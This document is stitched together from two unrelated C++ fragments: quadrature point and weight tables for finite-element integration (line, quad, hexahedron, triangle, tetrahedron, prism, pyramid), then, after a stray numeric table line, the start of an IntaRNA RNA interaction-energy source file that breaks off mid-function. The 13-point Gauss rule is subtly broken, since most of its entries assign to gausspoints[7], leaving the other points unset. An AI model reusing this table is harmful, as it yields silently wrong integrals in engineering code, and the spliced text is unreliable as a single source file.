gaussweights[1] = 0.1806481606948574; gausspoints[1] = -0.8360311073266358;
gaussweights[2] = 0.2606106964029354; gausspoints[2] = -0.6133714327005904;
gaussweights[3] = 0.3123470770400029; gausspoints[3] = -0.3242534234038089;
gaussweights[4] = 0.3302393550012598; gausspoints[4] = 0.0000000000000000;
gaussweights[5] = 0.3123470770400029; gausspoints[5] = 0.3242534234038089;
gaussweights[6] = 0.2606106964029354; gausspoints[6] = 0.6133714327005904;
gaussweights[7] = 0.1806481606948574; gausspoints[7] = 0.8360311073266358;
gaussweights[8] = 0.0812743883615744; gausspoints[8] = 0.9681602395076261;
case 10: //10 Point quadrature rule
gaussweights[0] = 0.0666713443086881; gausspoints[0] = -0.9739065285171717;
gaussweights[1] = 0.1494513491505806; gausspoints[1] = -0.8650633666889845;
gaussweights[2] = 0.2190863625159820; gausspoints[2] = -0.6794095682990244;
gaussweights[3] = 0.2692667193099963; gausspoints[3] = -0.4333953941292472;
gaussweights[4] = 0.2955242247147529; gausspoints[4] = -0.1488743389816312;
gaussweights[5] = 0.2955242247147529; gausspoints[5] = 0.1488743389816312;
gaussweights[6] = 0.2692667193099963; gausspoints[6] = 0.4333953941292472;
gaussweights[7] = 0.2190863625159820; gausspoints[7] = 0.6794095682990244;
gaussweights[8] = 0.1494513491505806; gausspoints[8] = 0.8650633666889845;
gaussweights[9] = 0.0666713443086881; gausspoints[9] = 0.9739065285171717;
break;
case 11: //11 Point quadrature rule
gaussweights[0] = 0.0556685671161737; gausspoints[0] = -0.9782286581460570;
gaussweights[1] = 0.1255803694649046; gausspoints[1] = -0.8870625997680953;
gaussweights[2] = 0.1862902109277343; gausspoints[2] = -0.7301520055740494;
gaussweights[3] = 0.2331937645919905; gausspoints[3] = -0.5190961292068118;
gaussweights[4] = 0.2628045445102467; gausspoints[4] = -0.2695431559523450;
gaussweights[5] = 0.2729250867779006; gausspoints[5] = 0.0000000000000000;
gaussweights[6] = 0.2628045445102467; gausspoints[6] = 0.2695431559523450;
gaussweights[7] = 0.2331937645919905; gausspoints[7] = 0.5190961292068118;
gaussweights[8] = 0.1862902109277343; gausspoints[8] = 0.7301520055740494;
gaussweights[9] = 0.1255803694649046; gausspoints[9] = 0.8870625997680953;
gaussweights[10] = 0.0556685671161737; gausspoints[10] = 0.9782286581460570;
break;
case 12: //12 Point quadrature rule
gaussweights[0] = 0.0471753363865118; gausspoints[0] = -0.9815606342467192;
gaussweights[1] = 0.1069393259953184; gausspoints[1] = -0.9041172563704749;
gaussweights[2] = 0.1600783285433462; gausspoints[2] = -0.7699026741943047;
gaussweights[3] = 0.2031674267230659; gausspoints[3] = -0.5873179542866175;
gaussweights[4] = 0.2334925365383548; gausspoints[4] = -0.3678314989981802;
gaussweights[5] = 0.2491470458134028; gausspoints[5] = -0.1252334085114689;
gaussweights[6] = 0.2491470458134028; gausspoints[6] = 0.1252334085114689;
gaussweights[7] = 0.2334925365383548; gausspoints[7] = 0.3678314989981802;
gaussweights[8] = 0.2031674267230659; gausspoints[8] = 0.5873179542866175;
gaussweights[9] = 0.1600783285433462; gausspoints[9] = 0.7699026741943047;
gaussweights[10] = 0.1069393259953184; gausspoints[10] = 0.9041172563704749;
gaussweights[11] = 0.0471753363865118; gausspoints[11] = 0.9815606342467192;
break;
case 13: //13 Point quadrature rule
gaussweights[0] = 0.0404840047653159; gausspoints[7] = -0.9841830547185881;
gaussweights[1] = 0.0921214998377285; gausspoints[7] = -0.9175983992229779;
gaussweights[2] = 0.1388735102197872; gausspoints[7] = -0.8015780907333099;
gaussweights[3] = 0.1781459807619457; gausspoints[7] = -0.6423493394403402;
gaussweights[4] = 0.2078160475368885; gausspoints[7] = -0.4484927510364469;
gaussweights[5] = 0.2262831802628972; gausspoints[7] = -0.2304583159551348;
gaussweights[6] = 0.2325515532308739; gausspoints[7] = 0.0000000000000000;
gaussweights[7] = 0.2262831802628972; gausspoints[7] = 0.2304583159551348;
gaussweights[8] = 0.2078160475368885; gausspoints[7] = 0.4484927510364469;
gaussweights[9] = 0.1781459807619457; gausspoints[7] = 0.6423493394403402;
gaussweights[10] = 0.1388735102197872; gausspoints[10] = 0.8015780907333099;
gaussweights[11] = 0.0921214998377285; gausspoints[11] = 0.9175983992229779;
gaussweights[12] = 0.0404840047653159; gausspoints[12] = 0.9841830547185881;
break;
case 14: //14 Point quadrature rule
gaussweights[0] = 0.0351194603317519; gausspoints[0] = -0.9862838086968123;
gaussweights[1] = 0.0801580871597602; gausspoints[1] = -0.9284348836635735;
gaussweights[2] = 0.1215185706879032; gausspoints[2] = -0.8272013150697650;
gaussweights[3] = 0.1572031671581935; gausspoints[3] = -0.6872929048116855;
gaussweights[4] = 0.1855383974779378; gausspoints[4] = -0.5152486363581541;
gaussweights[5] = 0.2051984637212956; gausspoints[5] = -0.3191123689278897;
gaussweights[6] = 0.2152638534631578; gausspoints[6] = -0.1080549487073437;
gaussweights[7] = 0.2152638534631578; gausspoints[7] = 0.1080549487073437;
gaussweights[8] = 0.2051984637212956; gausspoints[8] = 0.3191123689278897;
gaussweights[9] = 0.1855383974779378; gausspoints[9] = 0.5152486363581541;
gaussweights[10] = 0.1572031671581935; gausspoints[10] = 0.6872929048116855;
gaussweights[11] = 0.1215185706879032; gausspoints[11] = 0.8272013150697650;
gaussweights[12] = 0.0801580871597602; gausspoints[12] = 0.9284348836635735;
gaussweights[13] = 0.0351194603317519; gausspoints[13] = 0.9862838086968123;
break;
case 15: //15 Point quadrature rule
gaussweights[0] = 0.0307532419961173; gausspoints[0] = -0.9879925180204854;
gaussweights[1] = 0.0703660474881081; gausspoints[1] = -0.9372733924007060;
gaussweights[2] = 0.1071592204671719; gausspoints[2] = -0.8482065834104272;
gaussweights[3] = 0.1395706779261543; gausspoints[3] = -0.7244177313601701;
gaussweights[4] = 0.1662692058169939; gausspoints[4] = -0.5709721726085388;
gaussweights[5] = 0.1861610000155622; gausspoints[5] = -0.3941513470775634;
gaussweights[6] = 0.1984314853271116; gausspoints[6] = -0.2011940939974345;
gaussweights[7] = 0.2025782419255613; gausspoints[7] = 0.0000000000000000;
gaussweights[8] = 0.1984314853271116; gausspoints[8] = 0.2011940939974345;
gaussweights[9] = 0.1861610000155622; gausspoints[9] = 0.3941513470775634;
gaussweights[10] = 0.1662692058169939; gausspoints[10] = 0.5709721726085388;
gaussweights[11] = 0.1395706779261543; gausspoints[11] = 0.7244177313601701;
gaussweights[12] = 0.1071592204671719; gausspoints[12] = 0.8482065834104272;
gaussweights[13] = 0.0703660474881081; gausspoints[13] = 0.9372733924007060;
gaussweights[14] = 0.0307532419961173; gausspoints[14] = 0.9879925180204854;
break;
default:
cerr << " invalid value of 'ngp' ! " << endl;
break;
}
return;
}
void getGaussPointsQuad(int ngp, vector<double>& gps1, vector<double>& gps2, vector<double>& gws)
{
gps1.resize(ngp);
gps2.resize(ngp);
gws.resize(ngp);
int nn=0;
if(ngp == 1) nn = 1;
else if(ngp == 4) nn = 2;
else if(ngp == 9) nn = 3;
else if(ngp == 16) nn = 4;
else
{
cerr << " Error in getGaussPointsQuad() ... ngp = " << ngp << endl;
}
vector<double> gpoints1, gweights1;
getGaussPoints1D(nn, gpoints1, gweights1);
int ind=0, ii, jj;
for(jj=0; jj<nn; jj++)
{
for(ii=0; ii<nn; ii++)
{
gps1[ind] = gpoints1[ii];
gps2[ind] = gpoints1[jj];
gws[ind] = gweights1[jj]*gweights1[ii];
ind++;
}
}
return;
}
void getGaussPointsHexa(int ngp, vector<double>& gp1, vector<double>& gp2, vector<double>& gp3, vector<double>& gws)
{
int nn=0;
if(ngp == 1) nn = 1;
else if(ngp == 8) nn = 2;
else if(ngp == 27) nn = 3;
else if(ngp == 64) nn = 4;
else
{
cerr << " Error in getGaussPointsHex ... ngp = " << ngp << endl;
}
gp1.resize(ngp);
gp2.resize(ngp);
gp3.resize(ngp);
gws.resize(ngp);
vector<double> gpoints1, gweights1;
getGaussPoints1D(nn, gpoints1, gweights1);
int ind=0, ii, jj, kk;
for(kk=0; kk<nn; kk++)
{
for(jj=0; jj<nn; jj++)
{
for(ii=0; ii<nn; ii++)
{
gp1[ind] = gpoints1[ii];
gp2[ind] = gpoints1[jj];
gp3[ind] = gpoints1[kk];
gws[ind] = gweights1[kk]*gweights1[jj]*gweights1[ii];
ind++;
}
}
}
return;
}
void getGaussPointsTriangle(int ngp, vector<double>& gps1, vector<double>& gps2, vector<double>& gws)
{
// weights are normalized to calculate the exact area of the triangle
// i.e. each weight is divided by 2.0
double r1d3 = 1.0/3.0, a1, fact=0.5;
gps1.resize(ngp);
gps2.resize(ngp);
gws.resize(ngp);
switch(ngp)
{
case 1: // 1 Point quadrature rule
gps1[0] = r1d3; gps2[0] = r1d3; gws[0] = fact*1.0;
break;
case 3: //3 Point quadrature rule
a1 = 1.0/3.0;
gps1[0] = 1.0/6.0; gps2[0] = 1.0/6.0; gws[0] = fact*a1;
gps1[1] = 4.0/6.0; gps2[1] = 1.0/6.0; gws[1] = fact*a1;
gps1[2] = 1.0/6.0; gps2[2] = 4.0/6.0; gws[2] = fact*a1;
break;
case 4: //4 Point quadrature rule
a1 = 25.0/48.0;
gps1[0] = r1d3; gps2[0] = r1d3; gws[0] = fact*(-27.0/48.0);
gps1[1] = 0.6; gps2[1] = 0.2; gws[1] = fact*a1;
gps1[2] = 0.2; gps2[2] = 0.6; gws[2] = fact*a1;
gps1[3] = 0.2; gps2[3] = 0.2; gws[3] = fact*a1;
break;
case 6: //6 Point quadrature rule
gps1[0] = 0.10810301816807022736; gps2[0] = 0.44594849091596488632; gws[0] = fact*0.22338158967801146570;
gps1[1] = 0.44594849091596488632; gps2[1] = 0.10810301816807022736; gws[1] = fact*0.22338158967801146570;
gps1[2] = 0.44594849091596488632; gps2[2] = 0.44594849091596488632; gws[2] = fact*0.22338158967801146570;
gps1[3] = 0.81684757298045851308; gps2[3] = 0.09157621350977074346; gws[3] = fact*0.10995174365532186764;
gps1[4] = 0.09157621350977074346; gps2[4] = 0.81684757298045851308; gws[4] = fact*0.10995174365532186764;
gps1[5] = 0.09157621350977074346; gps2[5] = 0.09157621350977074346; gws[5] = fact*0.10995174365532186764;
break;
case 7: //7 Point quadrature rule
gps1[0] = r1d3; gps2[0] = r1d3; gws[0] = fact*0.225;
gps1[1] = 0.79742698535308732240; gps2[1] = 0.10128650732345633880; gws[1] = fact*0.12593918054482715260;
gps1[2] = 0.10128650732345633880; gps2[2] = 0.79742698535308732240; gws[2] = fact*0.12593918054482715260;
gps1[3] = 0.10128650732345633880; gps2[3] = 0.10128650732345633880; gws[3] = fact*0.12593918054482715260;
gps1[4] = 0.05971587178976982045; gps2[4] = 0.47014206410511508977; gws[4] = fact*0.13239415278850618074;
gps1[5] = 0.47014206410511508977; gps2[5] = 0.05971587178976982045; gws[5] = fact*0.13239415278850618074;
gps1[6] = 0.47014206410511508977; gps2[6] = 0.47014206410511508977; gws[6] = fact*0.13239415278850618074;
break;
case 12: //12 Point quadrature rule
gps1[0] = 0.87382197101699554332; gps2[0] = 0.06308901449150222834; gws[0] = fact*0.050844906370206816921;
gps1[1] = 0.06308901449150222834; gps2[1] = 0.87382197101699554332; gws[1] = fact*0.050844906370206816921;
gps1[2] = 0.06308901449150222834; gps2[2] = 0.06308901449150222834; gws[2] = fact*0.050844906370206816921;
gps1[3] = 0.50142650965817915742; gps2[3] = 0.24928674517091042129; gws[3] = fact*0.116786275726379366030;
gps1[4] = 0.24928674517091042129; gps2[4] = 0.50142650965817915742; gws[4] = fact*0.116786275726379366030;
gps1[5] = 0.24928674517091042129; gps2[5] = 0.24928674517091042129; gws[5] = fact*0.116786275726379366030;
gps1[6] = 0.05314504984481694735; gps2[6] = 0.31035245103378440542; gws[6] = fact*0.082851075618373575194;
gps1[7] = 0.31035245103378440542; gps2[7] = 0.05314504984481694735; gws[7] = fact*0.082851075618373575194;
gps1[8] = 0.05314504984481694735; gps2[8] = 0.63650249912139864723; gws[8] = fact*0.082851075618373575194;
gps1[9] = 0.31035245103378440542; gps2[9] = 0.63650249912139864723; gws[9] = fact*0.082851075618373575194;
gps1[10] = 0.63650249912139864723; gps2[10] = 0.05314504984481694735; gws[10] = fact*0.082851075618373575194;
gps1[11] = 0.63650249912139864723; gps2[11] = 0.31035245103378440542; gws[11] = fact*0.082851075618373575194;
break;
case 13: // 13 point quadrature rule
gps1[0] = 0.33333333333333; gps2[0] = 0.33333333333333; gws[0] = fact*-0.14957004446768;
gps1[1] = 0.26034596607904; gps2[1] = 0.26034596607904; gws[1] = fact* 0.17561525743321;
gps1[2] = 0.26034596607904; gps2[2] = 0.47930806784192; gws[2] = fact* 0.17561525743321;
gps1[3] = 0.47930806784192; gps2[3] = 0.26034596607904; gws[3] = fact* 0.17561525743321;
gps1[4] = 0.06513010290222; gps2[4] = 0.06513010290222; gws[4] = fact* 0.05334723560884;
gps1[5] = 0.06513010290222; gps2[5] = 0.86973979419557; gws[5] = fact* 0.05334723560884;
gps1[6] = 0.86973979419557; gps2[6] = 0.06513010290222; gws[6] = fact* 0.05334723560884;
gps1[7] = 0.31286549600487; gps2[7] = 0.63844418856981; gws[7] = fact* 0.07711376089026;
gps1[8] = 0.63844418856981; gps2[8] = 0.04869031542532; gws[8] = fact* 0.07711376089026;
gps1[9] = 0.04869031542532; gps2[9] = 0.31286549600487; gws[9] = fact* 0.07711376089026;
gps1[10] = 0.63844418856981; gps2[10] = 0.31286549600487; gws[10] = fact* 0.07711376089026;
gps1[11] = 0.31286549600487; gps2[11] = 0.04869031542532; gws[11] = fact* 0.07711376089026;
gps1[12] = 0.04869031542532; gps2[12] = 0.63844418856981; gws[12] = fact* 0.07711376089026;
break;
case 16: // 16 point quadrature rule
gps1[0] = 0.33333333333333; gps2[0] = 0.33333333333333; gws[0] = fact* 0.14431560767779;
gps1[1] = 0.45929258829272; gps2[1] = 0.45929258829272; gws[1] = fact* 0.09509163426728;
gps1[2] = 0.45929258829272; gps2[2] = 0.08141482341455; gws[2] = fact* 0.09509163426728;
gps1[3] = 0.08141482341455; gps2[3] = 0.45929258829272; gws[3] = fact* 0.09509163426728;
gps1[4] = 0.17056930775176; gps2[4] = 0.17056930775176; gws[4] = fact* 0.10321737053472;
gps1[5] = 0.17056930775176; gps2[5] = 0.65886138449648; gws[5] = fact* 0.10321737053472;
gps1[6] = 0.65886138449648; gps2[6] = 0.17056930775176; gws[6] = fact* 0.10321737053472;
gps1[7] = 0.05054722831703; gps2[7] = 0.05054722831703; gws[7] = fact* 0.03245849762320;
gps1[8] = 0.05054722831703; gps2[8] = 0.89890554336594; gws[8] = fact* 0.03245849762320;
gps1[9] = 0.89890554336594; gps2[9] = 0.05054722831703; gws[9] = fact* 0.03245849762320;
gps1[10] = 0.26311282963464; gps2[10] = 0.72849239295540; gws[10] = fact* 0.02723031417443;
gps1[11] = 0.72849239295540; gps2[11] = 0.00839477740996; gws[11] = fact* 0.02723031417443;
gps1[12] = 0.00839477740996; gps2[12] = 0.26311282963464; gws[12] = fact* 0.02723031417443;
gps1[13] = 0.72849239295540; gps2[13] = 0.26311282963464; gws[13] = fact* 0.02723031417443;
gps1[14] = 0.26311282963464; gps2[14] = 0.00839477740996; gws[14] = fact* 0.02723031417443;
gps1[15] = 0.00839477740996; gps2[15] = 0.72849239295540; gws[15] = fact* 0.02723031417443;
break;
default:
cerr << " invalid value of 'ngp' in getGaussPointsTriangle ! " << endl;
break;
}
return;
}
void getGaussPointsTetra(int ngp, vector<double>& gps1, vector<double>& gps2, vector<double>& gps3, vector<double>& gws)
{
double fact=1.0/6.0;
gps1.resize(ngp);
gps2.resize(ngp);
gps3.resize(ngp);
gws.resize(ngp);
switch(ngp)
{
case 1: // 1 Point quadrature rule
gps1[0] = 0.25;
gps2[0] = 0.25;
gps3[0] = 0.25;
gws[0] = fact;
break;
case 4: // N=4
gps1[0] = 0.1381966011250105;
gps1[1] = 0.5854101966249685;
gps1[2] = 0.1381966011250105;
gps1[3] = 0.1381966011250105;
gps2[0] = 0.1381966011250105;
gps2[1] = 0.1381966011250105;
gps2[2] = 0.5854101966249685;
gps2[3] = 0.1381966011250105;
gps3[0] = 0.1381966011250105;
gps3[1] = 0.1381966011250105;
gps3[2] = 0.1381966011250105;
gps3[3] = 0.5854101966249685;
gws[0] = 0.2500000000000000*fact;
gws[1] = 0.2500000000000000*fact;
gws[2] = 0.2500000000000000*fact;
gws[3] = 0.2500000000000000*fact;
break;
case 5: // N=5
gps1[0] = 0.2500000000000000;
gps1[1] = 0.5000000000000000;
gps1[2] = 0.1666666666666667;
gps1[3] = 0.1666666666666667;
gps1[4] = 0.1666666666666667;
gps2[0] = 0.2500000000000000;
gps2[1] = 0.1666666666666667;
gps2[2] = 0.1666666666666667;
gps2[3] = 0.1666666666666667;
gps2[4] = 0.5000000000000000;
gps3[0] = 0.2500000000000000;
gps3[1] = 0.1666666666666667;
gps3[2] = 0.1666666666666667;
gps3[3] = 0.5000000000000000;
gps3[4] = 0.1666666666666667;
gws[0] = -0.8000000000000000*fact;
gws[1] = 0.4500000000000000*fact;
gws[2] = 0.4500000000000000*fact;
gws[3] = 0.4500000000000000*fact;
gws[4] = 0.4500000000000000*fact;
break;
case 8: // N=8
gps1[0] = 0.01583591;
gps1[1] = 0.328054697;
gps1[2] = 0.328054697;
gps1[3] = 0.328054697;
gps1[4] = 0.679143178;
gps1[5] = 0.106952274;
gps1[6] = 0.106952274;
gps1[7] = 0.106952274;
gps2[0] = 0.328054697;
gps2[1] = 0.01583591;
gps2[2] = 0.328054697;
gps2[3] = 0.328054697;
gps2[4] = 0.106952274;
gps2[5] = 0.679143178;
gps2[6] = 0.106952274;
gps2[7] = 0.106952274;
gps3[0] = 0.328054697;
gps3[1] = 0.328054697;
gps3[2] = 0.01583591;
gps3[3] = 0.328054697;
gps3[4] = 0.106952274;
gps3[5] = 0.106952274;
gps3[6] = 0.679143178;
gps3[7] = 0.106952274;
gws[0] = 0.023087995;
gws[1] = 0.023087995;
gws[2] = 0.023087995;
gws[3] = 0.023087995;
gws[4] = 0.018578672;
gws[5] = 0.018578672;
gws[6] = 0.018578672;
gws[7] = 0.018578672;
break;
case 11: // N=11
gps1[0] = 0.2500000000000000;
gps1[1] = 0.7857142857142857;
gps1[2] = 0.0714285714285714;
gps1[3] = 0.0714285714285714;
gps1[4] = 0.0714285714285714;
gps1[5] = 0.1005964238332008;
gps1[6] = 0.3994035761667992;
gps1[7] = 0.3994035761667992;
gps1[8] = 0.3994035761667992;
gps1[9] = 0.1005964238332008;
gps1[10] = 0.1005964238332008;
gps2[0] = 0.2500000000000000;
gps2[1] = 0.0714285714285714;
gps2[2] = 0.0714285714285714;
gps2[3] = 0.0714285714285714;
gps2[4] = 0.7857142857142857;
gps2[5] = 0.3994035761667992;
gps2[6] = 0.1005964238332008;
gps2[7] = 0.3994035761667992;
gps2[8] = 0.1005964238332008;
gps2[9] = 0.3994035761667992;
gps2[10] = 0.1005964238332008;
gps3[0] = 0.2500000000000000;
gps3[1] = 0.0714285714285714;
gps3[2] = 0.0714285714285714;
gps3[3] = 0.7857142857142857;
gps3[4] = 0.0714285714285714;
gps3[5] = 0.3994035761667992;
gps3[6] = 0.3994035761667992;
gps3[7] = 0.1005964238332008;
gps3[8] = 0.1005964238332008;
gps3[9] = 0.1005964238332008;
gps3[10] = 0.3994035761667992;
gws[0] = -0.0789333333333333*fact;
gws[1] = 0.0457333333333333*fact;
gws[2] = 0.0457333333333333*fact;
gws[3] = 0.0457333333333333*fact;
gws[4] = 0.0457333333333333*fact;
gws[5] = 0.1493333333333333*fact;
gws[6] = 0.1493333333333333*fact;
gws[7] = 0.1493333333333333*fact;
gws[8] = 0.1493333333333333*fact;
gws[9] = 0.1493333333333333*fact;
gws[10] = 0.1493333333333333*fact;
break;
case 15: // N=15
gps1[0] = 0.2500000000000000;
gps1[1] = 0.0000000000000000;
gps1[2] = 0.3333333333333333;
gps1[3] = 0.3333333333333333;
gps1[4] = 0.3333333333333333;
gps1[5] = 0.7272727272727273;
gps1[6] = 0.0909090909090909;
gps1[7] = 0.0909090909090909;
gps1[8] = 0.0909090909090909;
gps1[9] = 0.4334498464263357;
gps1[10] = 0.0665501535736643;
gps1[11] = 0.0665501535736643;
gps1[12] = 0.0665501535736643;
gps1[13] = 0.4334498464263357;
gps1[14] = 0.4334498464263357;
gps2[0] = 0.2500000000000000;
gps2[1] = 0.3333333333333333;
gps2[2] = 0.3333333333333333;
gps2[3] = 0.3333333333333333;
gps2[4] = 0.0000000000000000;
gps2[5] = 0.0909090909090909;
gps2[6] = 0.0909090909090909;
gps2[7] = 0.0909090909090909;
gps2[8] = 0.7272727272727273;
gps2[9] = 0.0665501535736643;
gps2[10] = 0.4334498464263357;
gps2[11] = 0.0665501535736643;
gps2[12] = 0.4334498464263357;
gps2[13] = 0.0665501535736643;
gps2[14] = 0.4334498464263357;
gps3[0] = 0.2500000000000000;
gps3[1] = 0.3333333333333333;
gps3[2] = 0.3333333333333333;
gps3[3] = 0.0000000000000000;
gps3[4] = 0.3333333333333333;
gps3[5] = 0.0909090909090909;
gps3[6] = 0.0909090909090909;
gps3[7] = 0.7272727272727273;
gps3[8] = 0.0909090909090909;
gps3[9] = 0.0665501535736643;
gps3[10] = 0.0665501535736643;
gps3[11] = 0.4334498464263357;
gps3[12] = 0.4334498464263357;
gps3[13] = 0.4334498464263357;
gps3[14] = 0.0665501535736643;
gws[0] = 0.1817020685825351*fact;
gws[1] = 0.0361607142857143*fact;
gws[2] = 0.0361607142857143*fact;
gws[3] = 0.0361607142857143*fact;
gws[4] = 0.0361607142857143*fact;
gws[5] = 0.0698714945161738*fact;
gws[6] = 0.0698714945161738*fact;
gws[7] = 0.0698714945161738*fact;
gws[8] = 0.0698714945161738*fact;
gws[9] = 0.0656948493683187*fact;
gws[10] = 0.0656948493683187*fact;
gws[11] = 0.0656948493683187*fact;
gws[12] = 0.0656948493683187*fact;
gws[13] = 0.0656948493683187*fact;
gws[14] = 0.0656948493683187*fact;
break;
default:
cerr << " invalid value of 'ngp' in getGaussPointsTet() ! " << '\t' << ngp << endl;
break;
}
return;
}
void getLobattoPoints(int ngp, vector<double>& gausspoints, vector<double>& gaussweights)
{
char fct[] = "getGaussPoints";
switch(ngp)
{
case 2: //2 Point quadrature rule
gausspoints.resize(2);
gaussweights.resize(2);
gausspoints[0] = -1.0; gaussweights[0] = 1.0;
gausspoints[1] = 1.0; gaussweights[1] = 1.0;
break;
case 3: //3 Point quadrature rule
gausspoints.resize(3);
gaussweights.resize(3);
gausspoints[0] = -1.0; gaussweights[0] = 0.333333333333;
gausspoints[1] = 0.0; gaussweights[1] = 1.333333333333;
gausspoints[2] = 1.0; gaussweights[2] = 0.333333333333;
break;
case 4: //4 Point quadrature rule
gausspoints.resize(4);
gaussweights.resize(4);
gausspoints[0] = -1.0; gaussweights[0] = 1.0/6.0;
gausspoints[1] = -0.447213595500; gaussweights[1] = 5.0/6.0;
gausspoints[2] = 0.447213595500; gaussweights[2] = 5.0/6.0;
gausspoints[3] = 1.0; gaussweights[3] = 1.0/6.0;
break;
case 5: //5 Point quadrature rule
gausspoints.resize(5);
gaussweights.resize(5);
gausspoints[0] = -1.0; gaussweights[0] = 0.1;
gausspoints[1] = -0.654653670708; gaussweights[1] = 0.54444444444;
gausspoints[2] = 0.0; gaussweights[2] = 0.71111111111;
gausspoints[3] = 0.654653670708; gaussweights[3] = 0.54444444444;
gausspoints[4] = 1.0; gaussweights[4] = 0.1;
break;
default:
cerr << " getGaussPoints1D()... invalid value of 'ngp' ! " << endl;
break;
}
return;
}
void getGaussPointsPrism(int ngp, vector<double>& gps1, vector<double>& gps2, vector<double>& gps3, vector<double>& gws)
{
// weights are normalized to calculate the exact area of the triangle
// i.e. each weight is divided by 2.0
double r1d3 = 1.0/3.0, a1, r1d2=0.5, fact;
gps1.resize(ngp);
gps2.resize(ngp);
gps3.resize(ngp);
gws.resize(ngp);
switch(ngp)
{
// 1 Point quadrature rule - 1 for triangle, 1 for the quad
case 1:
gps1[0] = r1d3;
gps2[0] = r1d3;
gps3[0] = 0.0;
gws[0] = r1d2*2.0; // 2.0 for the weight in the normal direction
break;
// 2 Point quadrature rule - 1 for triangle, 2 for the quad
case 2: //2 Point quadrature rule
gps1[0] = r1d3;
gps2[0] = r1d3;
gps3[0] = -0.577350269189626;
gws[0] = r1d2*1.0;
gps1[1] = r1d3;
gps2[1] = r1d3;
gps3[1] = 0.577350269189626;
gws[1] = r1d2*1.0;
break;
// 3 Point quadrature rule - 3 for triangle, 1 for the quad
case 3: //3 Point quadrature rule
fact = r1d2*r1d3*2.0;
gps1[0] = 1.0/6.0;
gps2[0] = 1.0/6.0;
gps3[0] = 0.0;
gws[0] = fact;
gps1[1] = 1.0/6.0;
gps2[1] = 4.0/6.0;
gps3[1] = 0.0;
gws[1] = fact;
gps1[2] = 4.0/6.0;
gps2[2] = 1.0/6.0;
gps3[2] = 0.0;
gws[2] = fact;
break;
// 6 Point quadrature rule - 3 for triangle, 2 for the quad
case 6: //6 Point quadrature rule
fact = r1d2*r1d3*1.0;
gps1[0] = 1.0/6.0;
gps2[0] = 1.0/6.0;
gps3[0] = -0.577350269189626;
gws[0] = fact;
gps1[1] = 1.0/6.0;
gps2[1] = 4.0/6.0;
gps3[1] = -0.577350269189626;
gws[1] = fact;
gps1[2] = 4.0/6.0;
gps2[2] = 1.0/6.0;
gps3[2] = -0.577350269189626;
gws[2] = fact;
gps1[3] = 1.0/6.0;
gps2[3] = 1.0/6.0;
gps3[3] = 0.577350269189626;
gws[3] = fact;
gps1[4] = 1.0/6.0;
gps2[4] = 4.0/6.0;
gps3[4] = 0.577350269189626;
gws[4] = fact;
gps1[5] = 4.0/6.0;
gps2[5] = 1.0/6.0;
gps3[5] = 0.577350269189626;
gws[5] = fact;
break;
default:
cerr << " invalid value of 'ngp' in getGaussPointsPrism ! " << endl;
break;
}
return;
}
void getGaussPointsPyramid(int ngp, vector<double>& gps1, vector<double>& gps2, vector<double>& gps3, vector<double>& gws)
{
gps1.resize(ngp);
gps2.resize(ngp);
gps3.resize(ngp);
gws.resize(ngp);
switch(ngp)
{
// 1 Point quadrature rule
case 1:
gps1[0] = 0.0;
gps2[0] = 0.0;
gps3[0] = -0.5;
gws[0] = 128.0/27.0;
break;
default:
cerr << " invalid value of 'ngp' in getGaussPointsPyramid ! " << endl;
break;
}
return;
}
| 33,645 | 21,468 |
#include "IntaRNA/InteractionEnergyVrna.h"
#include <cassert>
#include <set>
// ES computation
extern "C" {
#include <ViennaRNA/fold_vars.h>
#include <ViennaRNA/fold.h>
#include <ViennaRNA/part_func.h>
#include <ViennaRNA/structure_utils.h>
#include <ViennaRNA/utils.h>
}
namespace IntaRNA {
////////////////////////////////////////////////////////////////////////////
InteractionEnergyVrna::InteractionEnergyVrna(
const Accessibility & accS1
, const ReverseAccessibility & accS2
, VrnaHandler &vrnaHandler
, const size_t maxInternalLoopSize1
, const size_t maxInternalLoopSize2
, const bool initES
)
:
InteractionEnergy(accS1, accS2, maxInternalLoopSize1, maxInternalLoopSize2)
// get final VRNA folding parameters
, foldModel( vrnaHandler.getModel() )
, foldParams( vrna_params( &foldModel ) )
, RT(vrnaHandler.getRT())
, bpCG( BP_pair[RnaSequence::getCodeForChar('C')][RnaSequence::getCodeForChar('G')] )
, bpGC( BP_pair[RnaSequence::getCodeForChar('G')][RnaSequence::getCodeForChar('C')] )
, esValues1(NULL)
, esValues2(NULL)
{
vrna_md_defaults_reset( &foldModel );
// init ES values if needed
if (initES) {
// 23.11.2017 : should not be relevant anymore
//#if INTARNA_MULITHREADING
// #pragma omp critical(intarna_omp_callingVRNA)
//#endif
// {
// create ES container to be filled
esValues1 = new EsMatrix();
esValues2 = new EsMatrix();
// fill ES container
computeES( accS1, *esValues1 );
computeES( accS2, *esValues2 );
// } // omp critical(intarna_omp_callingVRNA)
}
}
////////////////////////////////////////////////////////////////////////////
InteractionEnergyVrna::~InteractionEnergyVrna()
{
// garbage collection
if (foldParams != NULL) {
free(foldParams);
foldParams = NULL;
}
INTARNA_CLEANUP(esValues1);
INTARNA_CLEANUP(esValues2);
}
////////////////////////////////////////////////////////////////////////////
E_type
InteractionEnergyVrna::
getBestE_interLoop() const
{
// TODO maybe setup member variable (init=E_INF) with lazy initialization
// get all possible base pair codes handled
std::set<int> basePairCodes;
for (int i=0; i<NBASES; i++) {
for (int j=0; j<NBASES; j++) {
if (BP_pair[i][j] != 0) {
basePairCodes.insert( BP_pair[i][j] );
}
}
}
// get minimal energy for any base pair code combination
E_type minStackingE = E_INF;
for (std::set<int>::const_iterator p1=basePairCodes.begin(); p1!=basePairCodes.end(); p1++) {
for (std::set<int>::const_iterator p2=basePairCodes.begin(); p2!=basePairCodes.end(); p2++) {
minStackingE = std::min( minStackingE
, (E_type)E_IntLoop( 0 // unpaired region 1
, 0 // unpaired region 2
, *p1 // type BP (i1,i2)
, *p2 // type BP (j2,j1)
, 0
, 0
, 0
, 0
, foldParams)
// correct from dcal/mol to kcal/mol
/ (E_type)100.0
);
}
}
return minStackingE;
}
////////////////////////////////////////////////////////////////////////////
E_type
InteractionEnergyVrna::
getBestE_dangling() const
{
// TODO maybe setup member variable (init=E_INF) with lazy initialization
// get all possible base pair codes handled
std::set<int> basePairCodes;
for (int i=0; i<NBASES; i++) {
for (int j=0; j<NBASES; j++) {
basePairCodes.insert( BP_pair[i][j] );
}
}
// get minimal energy for any base pair code combination
E_type minDangleE = std::numeric_limits<E_type>::infinity();
// get codes for the sequence alphabet
const RnaSequence::CodeSeq_type alphabet = RnaSequence::getCodeForString(RnaSequence::SequenceAlphabet);
// get minimal
